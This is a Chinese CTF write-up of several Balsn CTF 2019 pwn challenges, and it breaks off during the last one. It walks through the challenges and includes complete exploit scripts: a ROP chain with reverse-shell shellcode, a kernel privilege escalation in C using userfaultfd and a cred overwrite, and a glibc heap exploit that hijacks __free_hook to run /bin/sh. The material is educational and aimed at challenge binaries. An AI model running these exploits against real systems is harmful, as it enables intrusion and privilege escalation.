Balsn CTF 2019 pwn 题解

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非常棒的比赛,有一大堆0解题,其中还有glibc-2.29新的利用方式,以及密码pwn,学到了很多知识。

文件链接:https://github.com/Ex-Origin/ctf-writeups/tree/master/balsn_ctf_2019/pwn

 

SecPwn

程序里面有很多的漏洞,但是也有相应的保护机制,我们必须要绕过这些保护机制来达到任意代码执行。

但我们只有7次使用这些漏洞的机会,每个周期将关闭一个文件描述符,直到关闭0,也就意味着socket被彻底断开了。

下面是我的方法:

  • 利用格式字符串的漏洞来泄漏 libc.so.6 的地址。
  • 使用 Secure write 漏洞从 libc.so.6 的got表中泄漏出 ld-linux-x86-64.so.2 的地址。

由于没有 Secure write 的限制,所以我们可以泄漏任何地址。

刚开始,我以为libc_addr和ld_addr的偏移量是固定的,然后我使用固定的值可以打通本地,但是服务器却不行,原因就是偏移量根本不是固定的。

  • 利用 Secure write 漏洞从 ld-linux-x86-64.so 中泄漏 image base address 。因为 link_map 会存储一些关于finit和init的地址信息。
  • 使用 bss overflow 漏洞来存储我们的布局,为了后面进行SROP和ROP。
  • 利用 Secure read 漏洞劫持程序流。

我们不能使用 Secure read 来直接修改 libc 、堆和栈,其限制如下。

void __cdecl Secure_read()
{
  void *buf; // [rsp+8h] [rbp-28h]
  void *(**v1)(size_t); // [rsp+10h] [rbp-20h]
  unsigned __int64 stack; // [rsp+18h] [rbp-18h]
  unsigned __int64 heap; // [rsp+20h] [rbp-10h]
  unsigned __int64 v4; // [rsp+28h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("Addr: ");
  buf = (void *)get_long();
  v1 = &malloc - 78152;
  stack = (unsigned __int64)&buf & 0xFFFFFFFFFF000000LL;
  heap = (unsigned __int64)*(&malloc + 170060) & 0xFFFFFFFFFFF00000LL;
  if ( ((signed __int64)(&malloc - 78152) > (signed __int64)buf || (signed __int64)(v1 + 251904) < (signed __int64)buf)
    && ((unsigned __int64)buf & 0xFFFFFFFFFF000000LL) != stack
    && ((unsigned __int64)buf & 0xFFFFFFFFFFF00000LL) != heap )
  {
    printf("Data: ");
    read(0, buf, 6uLL);
  }
  else
  {
    puts("Dangerous!");
  }
}

附件当中已经给了我们 ld-linux-x86-64.so.2, 所以我们能在执行 fini 操作是劫持程序流。

刚开始,我劫持的是如下的代码:

   0x7ffff7de5e18 <_dl_fini+63>    lea    rdi, [rip + 0x217b49] <0x7ffff7ffd968>
 ► 0x7ffff7de5e1f <_dl_fini+70>    call   qword ptr [rip + 0x218143] <0x7ffff7dd7f9d>
        rdi: 0x7ffff7ffd968 (_rtld_local+2312) ◂— 0x0
        rsi: 0x0
        rdx: 0x7ffff7dd2d60 (initial) ◂— 0x0
        rcx: 0xa0bb0a521a517e90

   0x7ffff7de5e25 <_dl_fini+76>    lea    rdx, [rbx + rbx*8]
   0x7ffff7de5e29 <_dl_fini+80>    mov    rax, rdx
   0x7ffff7de5e2c <_dl_fini+83>    shl    rax, 4
   0x7ffff7de5e30 <_dl_fini+87>    lea    rdx, [rip + 0x217229] <0x7ffff7ffd060>
   0x7ffff7de5e37 <_dl_fini+94>    mov    edx, dword ptr [rdx + rax + 8]
────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────
In file: /glibc/glibc-2.29/elf/dl-fini.c
   48  again:
   49 #endif
   50   for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
   51     {
   52       /* Protect against concurrent loads and unloads.  */
 ► 53       __rtld_lock_lock_recursive (GL(dl_load_lock));
   54 
   55       unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
   56       /* No need to do anything for empty namespaces or those used for
   57      auditing DSOs.  */
   58       if (nloaded == 0

我直接把函数指针修改为 system 函数,由于它的第一个参数是 link_map, 所以我们可以利用 Secure read 来写 sh 到 link_map->addr ,这样程序就是执行 system(“sh”)。

但是同时程序也没有交互性了,即使起了shell也再也不能使用了。

然后我继续寻找可以劫持程序流的地址,最后我找到了一个更好的地址。

   0x7ffff7de5fed <_dl_fini+532>    mov    rax, qword ptr [r12 + 0xa8]
   0x7ffff7de5ff5 <_dl_fini+540>    test   rax, rax
   0x7ffff7de5ff8 <_dl_fini+543>    je     _dl_fini+555 <0x7ffff7de6004>

 ► 0x7ffff7de5ffa <_dl_fini+545>    mov    rax, qword ptr [rax + 8]
   0x7ffff7de5ffe <_dl_fini+549>    add    rax, qword ptr [r12]
   0x7ffff7de6002 <_dl_fini+553>    call   rax

   0x7ffff7de6004 <_dl_fini+555>    cmp    dword ptr [rbp - 0x34], 0
   0x7ffff7de6008 <_dl_fini+559>    jne    _dl_fini+574 <0x7ffff7de6017>

   0x7ffff7de600a <_dl_fini+561>    cmp    dword ptr [rip + 0x216877], 0 <0x7ffff7ffc888>
────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────
In file: /glibc/glibc-2.29/elf/dl-fini.c
   138                 ((fini_t) array[i]) ();
   139             }
   140 
   141               /* Next try the old-style destructor.  */
   142               if (l->l_info[DT_FINI] != NULL)
 ► 143             DL_CALL_DT_FINI
   144               (l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr);
   145             }
   146 
   147 #ifdef SHARED
   148           /* Auditing checkpoint: another object closed.  */

这个函数指针原本是没有参数的,但是 rdi寄存器 恰好残留了 .bss 的指针,这就意味着我们能控制其第一个参数。

  • 使用 setcontext 函数进行 SROP 劫持 rsp 寄存器,然后进行 ROP 来运行 shellcode。我们可以用反向 shellcode 来重建程序的交互性。

脚本:

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
    exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)

# # Create a symbol file for GDB debugging
# try:
#     gdb_symbols = '''

#     '''

#     f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
#     f.write(gdb_symbols)
#     f.close()
#     os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
#     # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
#     print(e)

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './secpwn'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
# sh = remote('secpwn.balsnctf.com', 4597 )
elf = ELF(execve_file)
libc = ELF('./libc.so.6')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Create temporary files for GDB debugging
try:
    gdbscript = '''
    b *$rebase(0x1892)
    b *$rebase(0x160B)
    b exit
    '''

    f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    pass

sh.sendlineafter('>n', '5')
sh.sendafter('fmt:n', '%a#%a#n')
sh.recvuntil('#0x0.0')
result = sh.recvuntil('p', drop=True)
libc_addr = int(result, 16) - 0x1e57e3
log.success('libc_addr: ' + hex(libc_addr))
ld_addr = libc_addr + 0x1f4000
log.success('ld_addr: ' + hex(ld_addr))

open('/tmp/gdb_script{}'.replace('{}', salt), 'a').write('nb *' + hex(ld_addr + 0x10cf0) + 'n')

sh.sendlineafter('>n', '7')
sh.sendafter('Addr: ', str(libc_addr + libc.symbols['_rtld_global']))
ld_addr = u64(sh.recvn(8)) - 0x2b060
log.success('ld_addr: ' + hex(ld_addr))


sh.sendlineafter('>n', '7')
sh.sendafter('Addr: ', str(ld_addr + 0x2b9f8))

image_base_addr = u64(sh.recvn(8)) - 0x2a8
log.success('image_base_addr: ' + hex(image_base_addr))

sh.sendlineafter('>n', '1')
offset = libc_addr + libc.symbols['setcontext'] - image_base_addr
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = image_base_addr + 0x4000
frame.rsi = 0x1000
frame.rdx = 7
frame.rsp = image_base_addr + 0x4000 + 0x320
frame.rip = libc_addr + 0x000000000002535f # : ret

str_frame = str(frame)
str_frame = str_frame[:0xe0] + p64(image_base_addr + 0x4800) + str_frame[0xe8:]
payload = p64(image_base_addr + 0x4020) + p64(offset) + str_frame[0x20:]

layout = [
    libc_addr + 0x00000000000314f9, # : pop rbx ; ret
    9,
    libc_addr + 0x0000000000087332, # : inc ebx ; xor eax, eax ; ret
    libc_addr + 0x0000000000048018, # : mov eax, ebx ; pop rbx ; ret
    0,
    libc_addr + 0x00000000000cf6c5, # : syscall ; ret
    libc_addr + 0x00000000000616a7, # : jmp rsp
]

shellcode = asm('''
;// socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
mov rdi, 2
mov rsi, 1
mov rdx, 0
mov rax, 41 ;// SYS_socket
syscall

;// connect(soc, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr_in))
mov rdi, rax
mov rax, 0x0100007fd2040002
push rax
mov rsi, rsp
mov rdx, 16
mov rax, 42 ;// SYS_connect
syscall
push rax

;// dup2(soc, 0)
mov rdi, rax
mov rsi, 0
mov rax, 33 ;// SYS_dup2
syscall

;// dup2(soc, 1)
pop rdi
mov rsi, 1
mov rax, 33 ;// SYS_dup2
syscall

;// execve("/bin/sh", NULL, NULL)
mov rax,0x0068732f6e69622f
push rax
mov rdi,rsp
mov rax,59
mov rsi,0
mov rdx,0
syscall
''')

payload = payload.ljust(0x300, '') + flat(layout) + shellcode
sh.sendline(payload)

sh.sendlineafter('>n', '6')
sh.sendafter('Addr: ', str(ld_addr + 0x2c190 + 0xa8))
sh.sendafter(': ', p64(image_base_addr + 0x4020)[:6])

server = listen(1234)
sh.sendline('10')
reverse_sh = server.wait_for_connection()

reverse_sh.interactive()
clear()

 

KrazyNote

又是一道没有上锁的 kernel pwn,开始时我确实被其代码优化给绕晕了,后来才慢慢的梳理出其功能来,其实就是在简单的模仿 heap 题。

思路

在 edit 时,利用缺页中断句柄函数使得其暂停,然后重置其heap 的布局,使得恰好能 edit 其结构的size,这样我们就能控制整个 heap。

但是,这只能让我们能拥有任意读写权限,我们并不能知道其 cred 地址在哪。

这里还是要感谢 r3kapig 公开的exp,这里我简述一下劫持 cred 的原理。

task_struct结构是控制线程、进程(线程、进程都是用该结构体)的结构体,而其名字记录在task_struct->comm中,下面是 task_struct 的定义(不同内核的 task_struct 的定义可能不同)。

截取自: linux-5.1.9/include/linux/sched.h

struct task_struct {
    ...
    /* Process credentials: */

    /* Tracer's credentials at attach: */
    const struct cred __rcu        *ptracer_cred;

    /* Objective and real subjective task credentials (COW): */
    const struct cred __rcu        *real_cred;

    /* Effective (overridable) subjective task credentials (COW): */
    const struct cred __rcu        *cred;

    /*
     * executable name, excluding path.
     *
     * - normally initialized setup_new_exec()
     * - access it with [gs]et_task_comm()
     * - lock it with task_lock()
     */
    char                comm[TASK_COMM_LEN];
    ...
};

可以看到其名字上面恰好有两个指针指向了 cred。

截取自:linux-5.1.9/include/linux/cred.h

struct cred {
    atomic_t    usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC    0x43736564
#define CRED_MAGIC_DEAD    0x44656144
#endif
    kuid_t        uid;        /* real UID of the task */
    kgid_t        gid;        /* real GID of the task */
    kuid_t        suid;        /* saved UID of the task */
    kgid_t        sgid;        /* saved GID of the task */
    kuid_t        euid;        /* effective UID of the task */
    kgid_t        egid;        /* effective GID of the task */
    kuid_t        fsuid;        /* UID for VFS ops */
    kgid_t        fsgid;        /* GID for VFS ops */
    ...
} __randomize_layout;

具体思路就是利用 prctl 设置线程名,也就是task_struct->comm,然后在利用 任意读写漏洞查找我们设置的线程名,这样就能泄露出 cred 地址,然后利用任意写漏洞修改 uid 就能完成提权。

代码

这里是主要代码逻辑,其他代码可以在文件链接中查看。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <semaphore.h>
#include <sys/prctl.h>

#include "userfaultfd_tool.h"

typedef struct Arg{
    size_t index;
    size_t size;
    char *addr;
}Arg;

#define CREATE 0xFFFFFF00
#define EDIT 0xFFFFFF01
#define SHOW 0xFFFFFF02
#define RELOAD 0xFFFFFF03

char *fault_page;
int fd;

void *fault_edit(void *index)
{
    Arg arg;

    arg.index = (int)index;
    arg.size = 0x28;
    arg.addr = fault_page;
    ioctl(fd, EDIT, &arg);
    fault_page += page_size;
}

inline static int search(register size_t *ptr)
{
    register int i;
    for(i = 0; i < 0xf0/8; i++)
    {
        if(ptr[i] == 0x6161616161616161)
        {
            if(i - 2 >= 0 && ptr[i-1] > 0xff00000000000000 && ptr[i-2] > 0xff00000000000000)
            {
                return i;
            }
        }
    }
    return 0;
}

int main()
{
    Arg arg, arg2;
    pthread_t tid;
    char *buf = NULL, *temp, *base;
    size_t xor_key, offset_addr, container[0x40], offset, *ptr, cred_addr, page_offset_base;
    int postion, i, result;
    register int sign = 0;

    if ((fd = open("/dev/note", O_RDWR)) < 0)
    {
        errExit("open");
    }

    buf = mmap((void *)0xabc000, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    if(buf == NULL)
    {
        errExit("mmap");
    }

    fault_page = get_userfault_page(1);

    arg.size = 0x8;
    arg.addr = buf;
    ioctl(fd, CREATE, &arg);

    arg.size = 0x8;
    arg.addr = buf;
    ioctl(fd, CREATE, &arg);

    temp = PAGE_COPY_ADDR;
    temp[0] = 0x80;
    pthread_create(&tid, NULL, fault_edit, (void *)1 );
    usleep(100 * 1000);

    ioctl(fd, RELOAD, &arg);

    arg.size = 0x18;
    arg.addr = buf;
    ioctl(fd, CREATE, &arg);

    arg.size = 0x8;
    arg.addr = buf;
    ioctl(fd, CREATE, &arg);

    release_fault_page();
    pthread_join(tid, NULL);

    arg.size = 0x8;
    arg.addr = buf;
    ioctl(fd, CREATE, &arg);

    memset(buf, 0, 0x1000);
    arg.index = 1;
    arg.addr = buf;
    ioctl(fd, SHOW, &arg);

    print_hex(buf, 0xf0, 1);

    xor_key = *(size_t *)(buf + 48);
    printf("xor_key: 0x%lxn", xor_key);
    offset_addr = *(size_t *)(buf + 0x18) ^ xor_key;
    printf("offset_addr: 0x%lxn", offset_addr);
    page_offset_base = xor_key & 0xffffffff00000000;
    printf("page_offset_base: 0x%lxn", page_offset_base);

    prctl(PR_SET_NAME, "aaaaaaaa");
    container[1] = xor_key;
    container[2] = xor_key ^ 0xf0;
    arg.index = 1;
    arg.addr = container;
    arg2.index = 2;
    arg2.addr = buf;
    puts("start search task_struct");
    for(offset = 0; ; offset += 0xf0)
    {
        container[3] = xor_key ^ offset;

        ioctl(fd, EDIT, &arg);
        ioctl(fd, SHOW, &arg2);
        if( search(buf) )
        {
            result = search(buf);
            break;
        }
    }

    print_hex(buf, 0xf0, 1);
    ptr = (size_t *)buf;
    cred_addr = ptr[result - 2];
    printf("cred_addr: 0x%lxn", cred_addr);

    container[1] = xor_key;
    container[2] = xor_key ^ 32;
    container[3] = xor_key ^ (cred_addr - page_offset_base + 4);
    ioctl(fd, EDIT, &arg);

    memset(buf, 0, 0x1000);
    arg2.index = 2;
    arg2.addr = buf;
    ioctl(fd, EDIT, &arg2);

    puts("success");
    system("/bin/sh");

    return 0;
}

 

securenote

靶机环境是 glibc-2.27 。

题目难度非常的高,毕竟是0解题。

off by one 漏洞

void __cdecl create_note()
{
...
  puts("Content:");
  nbytes = read(0, buf, 0x3E7uLL);
  if ( nbytes <= 0 )
    exit(0);
  if ( buf[nbytes - 1] == 10 )
    buf[nbytes - 1] = 0;
  dest = (char *)malloc(nbytes);
  aes_ctr_new_nonce(counter);
  v1 = &notes[index].counter;
  v2 = counter->field_8;
  v1->key = counter->key;
  v1->field_8 = v2;
  strcpy(dest, buf);
  aes_ctr_encrypt((__int64)counter, dest);
  notes[index].malloc_ptr = (__int64)dest;
}

create_note函数用strcpy函数,没有限制长度,直接溢出到下一个chunk的size。

思路

这里用的是题目作者的思路,核心思想就是:

  • 没必要深挖AES的漏洞
  • AES的CRT模式仅仅是和一个随机数异或出的加密字节流而已
  • 我们能恢复加密的字节流通过 明文和密文 进行对照,因为他们仅仅是异或了而已
  • 如果计数器相同,则加密后的数据流任然相同

核心步骤就是通过strcpy修改到top_chunk的size的低字节,这并不会造成任何错误,但是如果我们此时再malloc一个chunk的话,原先被修改的size就会刷新,导致show_note的时候并不能正常停止,这样我们就能泄露出密文出来。

由于我们知道top_chunk的部分,以及我们申请的部分的内容(如果仅仅申请1个字节的的话,那么剩余的0x17个字节就是0x00),这样通过密文和明文,就能计算出其用来异或的字节流了,之后便能利用该字节流来完成信息泄露。

由于其他字节和0异或仍然是其本身,所以我们能利用该技巧直接获得异或字节流,在结合show输出的异或后的字节流,我们就能还原其异或前的字节流,也就是在内存中存储的字节流(加密后的字节流)。

加密后的字节流再和加密前的字节流进行异或就能得到异或字节流,这样我们就能直接利用异或字节流来控制加密后的字节流。关键点在于counter要一致,异或字节流才会相同。

expected_cipher_stream = 'g' * 0x18 + p64(0x41)
plain_stream = ''
for i in range(len(expected_cipher_stream)):
    plain_stream += chr(ord(expected_cipher_stream[i]) ^ ord(xor_stream_12[i]))
delete(3)
create(3, '')
delete(1)
create(1, plain_stream)

上面代码中delete(3);create(3, '')的作用就是重置counter,每次重置后counter的值就是一个固定的值。这样加密后的内容就会是'g' * 0x18 + p64(0x41),我们就能控制其内存。

具体步骤

  • 该top_chunk的size,在申请一个chunk,导致show_note时可以溢出,得到异或字节流,至于为什么一开始就能得到异或字节流这个问题,其实刚开始的时候只要让内存大部分都是0x00字节,这样就能获得直接异或字节流,当然其不是所有都是,还有一些非0字节内存我们没法控制,所以我将其称为部分异或字节流(partial_xor_stream)。
  • 利用 partial_xor_stream 泄露出heap地址,这个可做可不做,后面不会用到heap地址,其原理就是用 partial_xor_stream 和 show_note 出的解密后的字节流进行异或,就能知道其内存的实际情况。
  • off by one 改 size ,导致 chunk overlap ,其实并不能直接修改size,而是爆破,我们只能查看其 size 的实际内存 是否已经是我们需要的值,概率是1/256。我们只需要不停的爆破就行。
  • 之后便是 free 掉可控chunk,让其 fd 上留下 heap 指针,然后利用上一步的做法修改fd,因为我们不能直接爆破使得 fd 为任意地址,我们只能使用1337次,这么少的次数不允许我们这么做。但是我们可以让其tcache成链,留下heap指针,爆破低字节使其指向conunter即可,但是这样会将chunk的size部分摧毁掉,反正tcache不检查size。
  • 劫持counter,使我们后面能获得一个固定的counter值,为了实现写内存的功能
  • large bin 泄露 libc 地址
  • 劫持hook,拿shell

脚本

由于受到使用次数限制,成功的概率大约为1/16

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
    exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)

# # Create a symbol file for GDB debugging
# try:
#     gdb_symbols = '''

#     '''

#     f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
#     f.write(gdb_symbols)
#     f.close()
#     os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
#     # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
#     print(e)

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './main'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
# sh = remote('', 0)
elf = ELF(execve_file)
libc = ELF('./libc-2.27.so')

# Create temporary files for GDB debugging
try:
    gdbscript = '''
    def pr
        x/12gx &notes
        end
    '''

    f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    pass

def create(index, content):
    sh.sendlineafter(': ', '0')
    sh.sendlineafter(': ', str(index))
    sh.sendafter('Content:n', content)

def show(index):
    sh.sendlineafter(': ', '1')
    sh.sendlineafter(': ', str(index))

def delete(index):
    sh.sendlineafter(': ', '2')
    sh.sendlineafter(': ', str(index))


create(0, 'a' * 0x18)
create(1, '')
create(2, '')
show(0)
result = sh.recvuntil('n.-----------------------.', drop=True)
partial_xor_stream1 = result
log.info('result: ' + hex(len(result)))

delete(2)
delete(1)
show(0)
result = sh.recvuntil('n.-----------------------.', drop=True)
log.info('result: ' + hex(len(result)))
partial_xor_stream3 = result

content = ''
for i in range(8):
    content += chr(ord(partial_xor_stream1[0x20 + i]) ^ ord(result[0x20 + i]))

heap_addr = (u64(content) & 0xffffffffffffff00) - 0x200
log.success('heap_addr: ' + hex(heap_addr))
counter_addr = heap_addr + 0x260
log.success('counter_addr: ' + hex(counter_addr))

# modify size
while(True):
    try:
        create(1, 'b' * 0x18)
        show(0)
        result = sh.recvuntil('n.-----------------------.', drop=True)

        size = (ord(partial_xor_stream1[0x38]) ^ 0x21) ^ ord(result[0x38])
        if(size == 0x31):
            break
        delete(1)
    except:
        delete(1)

create(2, '')
create(3, '')

delete(1)
show(0)
result = sh.recvuntil('n.-----------------------.', drop=True)
log.info('result: ' + hex(len(result)))
partial_xor_stream4 = result
create(1, '')

delete(1)
delete(2)
delete(3)

# Partial covered
while(True):
    try:
        create(1, 'b' * 0x20)
        show(0)
        result = sh.recvuntil('n.-----------------------.', drop=True)

        value = ord(partial_xor_stream1[0x60]) ^ ord(result[0x60])
        if(value == 0x60):
            break
        delete(1)
    except:
        delete(1)

delete(1)
create(2, '')
create(3, '')

create(1, 'b' * 0x28)

show(0)
result = sh.recvuntil('n.-----------------------.', drop=True)
cipher_stream = ''

xor_stream_11 = partial_xor_stream3[:0x48] + partial_xor_stream4[0x48:0x60] + partial_xor_stream1[0x60:]

for i in range(0x28):
    if(i == 0x18):
        cipher_stream += chr(ord(xor_stream_11[i + 0x40]) ^ ord(result[i + 0x40]) ^ 0x21) # size
        continue

    cipher_stream += chr(ord(xor_stream_11[i + 0x40]) ^ ord(result[i + 0x40]))
log.success('cipher_stream: ')
print(hexdump(cipher_stream))

xor_stream_12 = ''
for i in range(0x28):
    xor_stream_12 += chr(ord(cipher_stream[i]) ^ ord('b'))
log.success('xor_stream_12: ')
print(hexdump(xor_stream_12))

expected_cipher_stream = 'g' * 0x18 + p64(0x41)
plain_stream = ''
for i in range(len(expected_cipher_stream)):
    plain_stream += chr(ord(expected_cipher_stream[i]) ^ ord(xor_stream_12[i]))
delete(3)
create(3, '')
delete(1)
create(1, plain_stream) 

delete(1)
delete(2)
create(1, 'a' * 0x3e0)
delete(1)
create(1, 'a' * 0xf0)
delete(1)
create(1, 'a' * 0x100)

delete(1)

expected_cipher_stream = 'g' * 0x18 + p64(0x511) + p64(0)
plain_stream = ''
for i in range(len(expected_cipher_stream)):
    plain_stream += chr(ord(expected_cipher_stream[i]) ^ ord(xor_stream_12[i]))
delete(3)
create(3, '')
create(1, plain_stream)

create(2, 't' * 0x37)
delete(2)

show(0)
result = sh.recvuntil('n.-----------------------.', drop=True)
content = ''
for i in range(8):
    content += chr(ord(partial_xor_stream1[0x60 + i]) ^ ord(result[0x60 + i]))
libc_addr = u64(content) - 0x3ebca0
log.success('libc_addr: ' + hex(libc_addr))

create(2, 't' * 0x37)
delete(2)

expected_cipher_stream = 'g' * 0x18 + p64(0x41) + p64(libc_addr + libc.symbols['__free_hook'] - 8)
plain_stream = ''
for i in range(len(expected_cipher_stream)):
    plain_stream += chr(ord(expected_cipher_stream[i]) ^ ord(xor_stream_12[i]))
delete(3)
create(3, '')
delete(1)
create(1, plain_stream)

delete(1)
create(1, 'z' * 0x37)

expected_cipher_stream = '/bin/sh' + p64(libc_addr + libc.symbols['system'])
plain_stream = ''
for i in range(len(expected_cipher_stream)):
    plain_stream += chr(ord(expected_cipher_stream[i]) ^ ord(xor_stream_12[i]))
delete(3)
create(3, '')
create(2, plain_stream.ljust(0x37, 'z'))

delete(2)

sh.interactive()
clear()

 

PlainText

这题也真心不错,这里引出了 glibc-2.29 off by one 的全新绕过方法,比赛时仅有RPISEC战队做出来了,赛后我询问了该战队思路,并对其完成复现。

源程序下载:https://github.com/Ex-Origin/ctf-writeups/tree/master/balsn_ctf_2019/pwn/PlainNote

致谢

首先,非常感谢RPISEC战队的Jack Dates所提供的思路,没有这个思路恐怕我还在思考怎么绕过prevsize check

Jack Dates

漏洞

明显的 off off one,难点在于环境是glibc-2.29,由于其增加了新的检查,原先的方法都将失效。

void __cdecl add()
{
  _BYTE *v0; // rbx
  unsigned int i; // [rsp+8h] [rbp-18h]
  unsigned int size; // [rsp+Ch] [rbp-14h]

  for ( i = 0; i <= 0xFF && note[i]; ++i )
    ;
  myprintf("Size: ");
  size = read_int();
  note[i] = malloc(size);
  myprintf("Content: ");
  if ( note[i] )
  {
    v0 = note[i];
    v0[read(0, note[i], size)] = 0;
  }
}

主要失效原因是:glibc 在 unlink 的关键点都加上了 prevsize check,而我们根本无法直接修改正常chunk的size,导致想要 unlink 变得几乎不可能。

if (__glibc_unlikely (chunksize(p) != prevsize))
  malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);

思路

正如 Jack Dates 所提供的思路,我们不需要绞尽脑汁的去思考如何绕过 prevsize check,我们只需要利用 large bin 的残留指针再结合堆的恰当布局,则能构造出一个fake chunk,后面我将其称作fake_chunk_B

主要原理就是利用残余在 large bin 上的 fd_nextsize / bk_nextsize 指针。首先,我们拿回 large bin,后面我将其称作chunk_A,而 fake_chunk_B 就是 chunk_A + 0x10,在chunk_A 的 bk 位置上写好size,fd先不管,然后部分覆盖chunk_A 的 fd_nextsize 到一个我们可以控制其 bk 的 chunk上(比如从 small bin 或者 unsorted bin 中拿出的chunk,如果其bin中有多个chunk的话,那么拿出来的chunk的bk上必定残留了heap指针,我们可以通过部分覆盖使其指向 fake chunk,以便绕过unlink 检查),由于 chunk_A 的 bk_nextsize 我们并没对其修改,所以其指向的是 chunk_A 本身,为了绕过 unlink 检查( p->fd->bk == p && p->bk->fd == p),我们需要将这个该 fake_chunk_B 的 bk 指向其本身,也就是 chunk_A 的 fd 指向chunk_A + 0x10 并且不能修改已经保存好的其他数据,原本我们可以利用 tcache 的链表特性来完成这一操作,奈何 glibc-2.29的tcache会对 bk 也进行修改,那么则会直接改掉 fake_chunk_B 的 szie,导致unlink失败,但是我们任然可以利用 fastbin 的链表特性来完成这一操作,在chunk_A上写好heap地址后,在进行部分覆盖使其指向chunk_A + 0x10,则这样就能绕过 glibc-2.29 的检查。

由于最后一个字节总是有’’填充,所以我们需要爆破0x..........00..(点为任意十六进制)这样的heap地址。综上所诉该攻击方式的概率是 1/16

沙箱绕过

__int64 init()
{
  __int64 v0; // ST08_8

  v0 = seccomp_init(0LL);
  seccomp_rule_add(v0, 2147418112LL, 2LL, 0LL);
  seccomp_rule_add(v0, 2147418112LL, 0LL, 0LL);
  seccomp_rule_add(v0, 2147418112LL, 1LL, 0LL);
  seccomp_rule_add(v0, 2147418112LL, 60LL, 0LL);
  seccomp_rule_add(v0, 2147418112LL, 231LL, 0LL);
  return seccomp_load(v0);
}

由于沙箱是白名单的形式,我们只能利用特定的系统的调用的来拿flag,而且printfputs这类的函数都不能使用,还有setcontext函数也并不能正常使用,因为其中使用了sys_rt_sigprocmask

setcontext函数汇编如下:

.text:0000000000055E00                 public setcontext ; weak
.text:0000000000055E00 setcontext      proc near               ; CODE XREF: .text:000000000005C16C↓p
.text:0000000000055E00                                         ; DATA XREF: LOAD:000000000000C6D8↑o
.text:0000000000055E00                 push    rdi
.text:0000000000055E01                 lea     rsi, [rdi+128h]
.text:0000000000055E08                 xor     edx, edx
.text:0000000000055E0A                 mov     edi, 2
.text:0000000000055E0F                 mov     r10d, 8
.text:0000000000055E15                 mov     eax, 0Eh
.text:0000000000055E1A                 syscall                 ; $!
.text:0000000000055E1C                 pop     rdx
.text:0000000000055E1D                 cmp     rax, 0FFFFFFFFFFFFF001h
.text:0000000000055E23                 jnb     short loc_55E80
.text:0000000000055E25                 mov     rcx, [rdx+0E0h]
.text:0000000000055E2C                 fldenv  byte ptr [rcx]
.text:0000000000055E2E                 ldmxcsr dword ptr [rdx+1C0h]
.text:0000000000055E35                 mov     rsp, [rdx+0A0h]
.text:0000000000055E3C                 mov     rbx, [rdx+80h]
.text:0000000000055E43                 mov     rbp, [rdx+78h]
.text:0000000000055E47                 mov     r12, [rdx+48h]
.text:0000000000055E4B                 mov     r13, [rdx+50h]
.text:0000000000055E4F                 mov     r14, [rdx+58h]
.text:0000000000055E53                 mov     r15, [rdx+60h]
.text:0000000000055E57                 mov     rcx, [rdx+0A8h]
.text:0000000000055E5E                 push    rcx
.text:0000000000055E5F                 mov     rsi, [rdx+70h]
.text:0000000000055E63                 mov     rdi, [rdx+68h]
.text:0000000000055E67                 mov     rcx, [rdx+98h]
.text:0000000000055E6E                 mov     r8, [rdx+28h]
